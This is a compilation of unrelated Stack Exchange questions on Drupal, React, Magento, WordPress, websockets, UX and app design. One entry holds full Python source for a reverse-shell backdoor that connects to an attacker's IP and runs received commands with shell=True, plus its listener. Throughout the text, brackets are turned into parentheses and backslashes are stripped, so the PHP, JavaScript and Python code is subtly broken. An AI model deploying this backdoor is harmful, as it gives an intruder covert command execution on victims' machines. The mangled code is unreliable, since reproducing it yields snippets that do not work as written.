usability – Offering same functionality on browse and details page?

I’ve two pages: browse (parent) and details (child).

Browse has a list of items, displaying the name and some other meta data (description, owner, upload date, etc.). Clicking on an item opens the details page, which offers viewing and editing of the whole data in different sections.

On details there are also some handy actions, like: c/p URL, get code snippet or report a bug.

From a UX point of view, would it make sense to duplicate these actions in the Browse list? Basically adding them to every row/item to have quick access?

I fear that there might be an overload, as there are 4 actions and hundreds of results, which will cause number_displayed_items*4 more actionable elements on the view.

Ajax form ReplaceCommand functionality breaks after first fire

I Have a form on a page which updates a single field of a Node. The form uses ajax to update the field and returns the newly saved entity and replaces the current HTML so the new field is showing up correctly.

This works fine the first time the form is fired, but breaks after that with the following error in my console:

An AJAX HTTP error occurred

There’s no further error report which would tell me more about this error.

Here is my form code:

<?php

namespace Drupalats_tweaksForm;

use DrupalCoreFormFormBase;
use DrupalCoreFormFormStateInterface;
use DrupalnodeEntityNode;
use DrupalCoreAjaxAjaxResponse;
use DrupalCoreAjaxReplaceCommand;

use SymfonyComponentDependencyInjectionContainerInterface;

/**
 * Onboarding form.
 */
class UpdateApplicationStatusForm extends FormBase {

  /**
   * Form ID.
   *
   * @var string
   */
  protected static $formId;

  /**
   * {@inheritdoc}
   */
  public function getFormId() {
    $formId = 'update_application_status_form';
    if (self::$formId) {
      $formId = $formId . '_' . self::$formId;
    }
    return $formId;
  }

  /**
   * {@inheritdoc}
   */
  public static function create(ContainerInterface $container) {
    // Instantiates this form class.
    $instance = parent::create($container);
    return $instance;
  }

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state) {
    $node_id = $form_state->getBuildInfo()('args')(0);

    self::$formId = $node_id;
    $application = Node::load($node_id);

    $field_definitions = Drupal::service('entity_field.manager')->getFieldDefinitions('node', 'application');
    if (isset($field_definitions('field_application_status'))) {
      $status_options = options_allowed_values($field_definitions('field_application_status')->getFieldStorageDefinition());
    }

    $form('#attributes')('id') = $this->getFormId();

    // Application select list.
    $form('status') = (
      '#type' => 'select',
      '#title' => $this->t('Sollicitatiestatus'),
      '#options' => $status_options,
      '#default_value' => $application->get('field_application_status')->getValue()(0)('value'),
      '#ajax' => (
        'callback' => ($this, 'submitForm'),
        'wrapper' => 'mapping',
        'effect' => 'fade',
      ),
    );

    $form('nid') = (
      '#type' => 'hidden',
      '#default_value' => $node_id,
      '#value' => $node_id,
    );

    return $form;
  }

  /**
   * {@inheritdoc}
   */
  public function submitForm(array &$form, FormStateInterface $form_state) {
    $node_id = $form_state->getValues()('nid');

    $application = Node::load($node_id);

    $application->set('field_application_status', $form_state->getValues()('status'));
    $application->save();

    $view_builder = Drupal::entityTypeManager()->getViewBuilder('node');
    $storage = Drupal::entityTypeManager()->getStorage('node');
    $node = $storage->load($node_id);

    $build = $view_builder->view($node, 'teaser');
    $form_state->setRebuild(TRUE);

    $response = new AjaxResponse();
    $response->addCommand(new ReplaceCommand('#application-' . $node_id, $build));
    return $response;
  }

}

react.js – This custom hook to reproduce the callback functionality of this.setState

This StackOverflow answer gives a good suggestion for reproducting the ‘after state updates, fire this callback’ functionality that the old class component setState function had, but that the new useState hook does not.

Unfortunately, the solution does not fully replicate the old functionality – namely in that if the setState is called with an identical object/value then the callback will not be fired.

Here is my remedy to this:


function useStateCallback(initialState) {
  const (state, setState) = useState(initialState);
  const cbRef = useRef(null); // init mutable ref container for callbacks

  const (uniqueState, setUniqueState) = useState(Symbol());

  const setStateCallback = useCallback((state, cb) => {
    cbRef.current = cb; // store current, passed callback in ref
    setState(state);

    // Prevent unnecessary firing of the useEffect if there is no callback to fire
    if (cb) {
      setUniqueState(Symbol());
    }
  }, ()); // keep object reference stable, exactly like `useState`

  useEffect(() => {
    // cb.current is `null` on initial render,
    // so we only invoke callback on calls of setState, where there is a callback. 
    if (cbRef.current) {
      cbRef.current(state);
      cbRef.current = null; // reset callback after execution
    }
  }, (state, uniqueState));

  return (state, setStateCallback);
}

Code Sandbox

Any feedback on code like this? Any thing potentially dangerous I’ve missed? Performance concerns? Is this appropriate use of Symbol?

authentication – Forget Me Not? Abandoning the Forgot Password Functionality

I’m not sure that this is a security question, but there are lots of cases where there is no automatic, self-service password reset function. Staff accounts at companies, bank customer accounts, etc.

So, from a security standpoint, as long as you have a process for users to recover their password that is strong enough to mitigate the risks of a compromised account (proper identification checking, etc.), then that is actually quite normal.

menus – Navigation Switcher functionality with button ( not language switcher )

I have a wp site that has a switcher button that needs to switch navigation between regular and expert visitors. I want the regular visitors not to see some navigation items. As both, the visitor types can see some pages commonly, a conditional menu plugin doesn’t work for that purpose. Is there any plugin that can do that? Or how about using session variable to hold info of types of visitors and switch navigation with php/hide with css?

https://i.stack.imgur.com/SIWGj.png

async await – Adding websocket functionality to send live data from a Python script. Any edge-cases or unexpected consequences to beware of?

I’m not familiar with how websocket works, but from your code I think I can infer it. So here a few comments:

It seems your subscribers list depends on currently opened connections. That is bad practise. The first reason being, HTTP sessions have a timeout. Hence, after a while (I think its a couple of minutes), you will lose connection to your subscribers. Keeping the connection open, you are also wasting resources, as you don’t really need a connection until you are about to send something.

Also, it seems you are only removing a subscriber from the list if the connection closes correctly. However, what happens it the connection is closed unexpectedly? Instead, you should have caught ConnectionClosed exception.

To solve both these issues, you could have your subscribers be web servers. To subscribe, they would send the server a message with a url to which send the data (and the close the connection), and the server would send them the data when available. Then, the subscribers could send another message to be unsubscribed.

Now, regarthing the second question, both lines of code would have the same behaviour as mirror_ticks has an infinite loop. Hence, no matter if you wait for it to finish, it never will

python – Unable to get required output in Backdoor and Listener with Remote Code Execution functionality

I am trying to code a Backdoor and for it, a Listener that can be used to remotely execute commands on a Compromised Machine. But I am unable to get the code right in Python 3.

There are 2 codes in the entire setup, the first one is the Listener code on the Listener’s machine while the second one is the code on the Compromised machine.

Thank you for the responses. Any other suggestions are truly welcomed and I’m thankful for them same.

THE LISTENER’S CODE:

import socket
import json


class Listener:
    def __init__(self, ip_hacker, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
        listener.bind((ip_hacker, port))
        listener.listen(0)  
        print("(..)Waiting for incoming connections..,")
        self.connection, address = listener.accept()
        print("(+)(+)Connection Accepted from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command(0) == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def run(self):
        while True:
            command = input(">>> ")
            command = command.split(" ")
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener('10.10.10.10', 4444) 
my_listener.run()

THE CODE ON THE COMPROMISED MACHINE:


import socket
import subprocess
import json


class Backdoor:
    def __init__(self, ip_hacker, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip_hacker, port))

    def reliable_send(self, data):
        json_data = json.dumps(data).encode('utf-8')
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + (self.connection.recv(1024)).decode('utf-8')
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive()
            if command(0) == "exit":
                self.connection.close()
                exit()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)

my_backdoor = Backdoor("12.12.12.12", 4444)
# (ip address of the compromised machine, port from which communication happens) 
my_backdoor.run()```

> The error I get on the Compromised Machine(here Win10) when I send a cmd dir from the Listener/Executor (here Kali-Linux)-
> Traceback (most recent call last):
  File "D:EVIL FILESreverse_backdoor_Class.py", line 41, in <module>
    my_backdoor.run()
  File "D:EVIL FILESreverse_backdoor_Class.py", line 37, in run
    self.reliable_send(command_result)
  File "D:EVIL FILESreverse_backdoor_Class.py", line 14, in reliable_send
    json_data = json.dumps(data).encode('utf-8')
  File "C:Python39libjson__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)
  File "C:Python39libjsonencoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "C:Python39libjsonencoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "C:Python39libjsonencoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable.
Process finished with exit code 1. 
> May be worth noting that I'm using PyCharm for both the Listener and the other code, for this is still in its test stages.

    enter code here

magento2 – Magento 2 : How To Add Export Functionality in Admin Custom Grid Using only Block file?

I have create custom grid in customer information.
Create export functionality in custom admin grid without template file and ui component

MeetanshiOrderHistoryviewadminhtmllayoutmodule_index_custom.xml

<?xml version="1.0"?>

<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="../../../../../../../lib/internal/Magento/Framework/View/Layout/etc/layout_generic.xsd">
    <container name="root" label="Root">
        <block class="VendorModuleBlockAdminhtmlEditTabViewDemo" name="custom_tabs" />
    </container>
</layout>

VendorModuleBlockAdminhtmlEditTabViewDemo.php

<?php

namespace VendorModuleBlockAdminhtmlEditTabView;

use MagentoBackendBlockTemplateContext;
use MagentoBackendHelperData;
use MagentoSalesModelResourceModelOrderCollectionFactory;
use MagentoFrameworkRegistry;

class Demo extends MagentoBackendBlockWidgetGridExtended
{

protected $coreRegistry;

protected $orderFactory;

public function __construct(
    Context $context,
    MagentoFrameworkAppRequestHttp $request,
    Data $backendHelper,
    CollectionFactory $orderFactory,
    Registry $coreRegistry,
    array $data = ()
) {
    $this->request = $request;
    $this->orderFactory = $orderFactory;
    $this->coreRegistry = $coreRegistry;
    parent::__construct($context, $backendHelper, $data);
}

protected function _construct()
{
    parent::_construct();
    $this->setId('custom_order_grid');
    $this->setUseAjax(true);
}

protected function _prepareCollection()
{
    $collection = $this->orderFactory->create()->addFieldToSelect(
        'increment_id'
    )->addFieldToSelect(
        'status'
    )->addFieldToSelect(
        'total_qty_ordered'
    )->addFieldToSelect(
        'base_discount_amount'
    )->addFieldToSelect(
        'subtotal'
    )->addFieldToSelect(
        'grand_total'
    )->addFieldToFilter(
        'customer_id',
        $this->_request->getParam('id')
    );

    $this->setCollection($collection);
    return parent::_prepareCollection();
}

protected function _prepareColumns()
{
    $this->addColumn(
        'increment_id',
        (
            'header' => __('Order ID'),
            'sortable' => true,
            'index' => 'increment_id'
        )
    );
    $this->addColumn(
        'status',
        (
            'header' => __('Status'),
            'index' => 'status'
        )
    );

    return parent::_prepareColumns();
}

public function getGridUrl()
{
    return $this->getUrl('module/*/custom', ('_current' => true));
}

}

8 – Pay-Per-Node Functionality – Drupal Answers

My client would like a content type that has to be purchased by a registered user on a node-per-node basis.

A previously registered user will see a view with the available content they can purchase and then that user can purchase individual nodes. These nodes that have been purchased will also appear in a My Library view as well.

I have found multiple tutorials on how to do this via D7; however, I can’t seem to find anything that shows how to do this on D8.

Can Drupal 8’s Commerce Module do this out of the box or will I need to install additional modules to reach this functionality.

I am trying to find the right configurations of Products, Orders, and Stores but so far to no avail.

design – How to implement “suggested changes” functionality to the dataset of a web application

I got an application that takes either CSV or YAML which describes a graph, parses it to extract info, puts it into a database.
There is also a frontent which allows users to browse different representations of the data.
The source of truth for the data is a remote repository (git) so the application periodically fetches the latest changes and updates its database.

I want to allow users the ability to submit their own CSV files with suggested changes. The additions need to be approved by the upstream group before they become valid but I don’t see an elegant way to do this.

I can think of 3 options:

  1. Parse the suggestion normally but before insert, copy the database and insert into a copy of the database. Export the entire db into new files, git add, git push and do a merge request.
  2. Modify the DB schema to mark every entry with a boolean “suggested”, then rewrite all queries to ignore suggested items. Periodically clean the database from suggested items.
    To implement the suggestion I would again export the entire db into files and issue a merge request
  3. Maintain an in-memory graph, when a user wants to make a suggestion, copy the graph, modify only the graph, export graph to files. Do the git dance.

All 3 have issues,

  1. is disk bound and scales with number of users, every “suggest” request needs to have a database copied.
  2. requires modification to every single query and introduces a race condition of “If cleanup runs during parsing/inserting we end up with incorrect data”
  3. is memory bound and scales with number of concurrent “suggest” requests.

I do not expect more than single digit users to suggest things at any given time, but would be nice if the solution was actually scalable.

(also requiring git for sending things upstream, means i need to maintain a different git repo instance for each user locally and do atomic operations on each of them to avoid data corruption, but afaik unless a remote “review” functionality is implemented git is the closest solution)

although not very relevant, the underlying tech is python, flask, celery(as a job queue) and sqlite